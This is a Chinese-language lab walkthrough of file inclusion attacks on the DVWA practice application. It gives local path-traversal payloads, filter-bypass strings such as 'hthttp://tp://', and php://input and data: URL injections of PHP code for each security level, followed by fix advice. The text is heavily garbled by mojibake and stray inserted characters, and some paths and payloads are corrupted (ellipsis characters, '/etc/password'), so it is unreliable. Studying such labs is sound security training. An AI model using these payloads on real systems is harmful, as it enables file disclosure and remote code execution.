漏洞概述
文件包含是指應(yīng)用程序加載的文件(本地/遠(yuǎn)程)可以由用戶(hù)提交的數(shù)據(jù)控制恢暖,從而導(dǎo)致攻擊者控制惡意文件在服務(wù)器上執(zhí)行
測(cè)試工具
firefox瀏覽器厉亏,firefox插件new hackbar
測(cè)試方法
LOW級(jí)別
設(shè)置DVWA安全級(jí)別為L(zhǎng)OW
-
使用瀏覽器發(fā)起本地文件包含攻擊
payload:
../../../../../../../../../../etc/password
c:\\\\windows\\win.ini
05.01.png -
使用瀏覽器發(fā)起遠(yuǎn)程文件包含攻擊
05.02.png05.03.png05.04.png -
代碼分析
05.05.png說(shuō)明:
代碼直接讀取page參數(shù)同時(shí)使用include進(jìn)行文件包含執(zhí)行
MEDIUM級(jí)別
設(shè)置DVWA安全級(jí)別為Medium
-
使用瀏覽器發(fā)起本地文件包含攻擊
payload:
…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./etc/password
….//….//….//….//….//….//….//….//….//….//etc/password
-
使用瀏覽器發(fā)起遠(yuǎn)程文件包含攻擊
payload:
hthttp://tp://localhost:9999/file_include_low.php
php://input <?php phpinfo();
data:text/plain;charset=utf-8,<?php phpinfo();
05.06.png05.07.png -
代碼分析
05.08.png說(shuō)明:
清除page參數(shù)中的http://鹏秋、https://亥至、../妹笆、..\字符串, 可以使用php://input麻昼,php://filter, data url schema等進(jìn)行注入踱蛀,也可使用替換邏輯漏洞(只替換一次)將被替換字符串迭代使用窿给,例如hthttp://tp://被替換后為http://
HIGH級(jí)別
設(shè)置DVWA安全級(jí)別為High
-
代碼分析
05.09.png說(shuō)明:
對(duì)提交參數(shù)進(jìn)行檢查,只允許include.php以及file開(kāi)頭的文件被包含率拒,只能包含本地file開(kāi)頭的文件或配合文件上傳漏洞組合進(jìn)行利用
修復(fù)建議
使用白名單列表限制被包含文件
關(guān)閉遠(yuǎn)程文件包含功能
避免web服務(wù)器啟動(dòng)用戶(hù)權(quán)限過(guò)高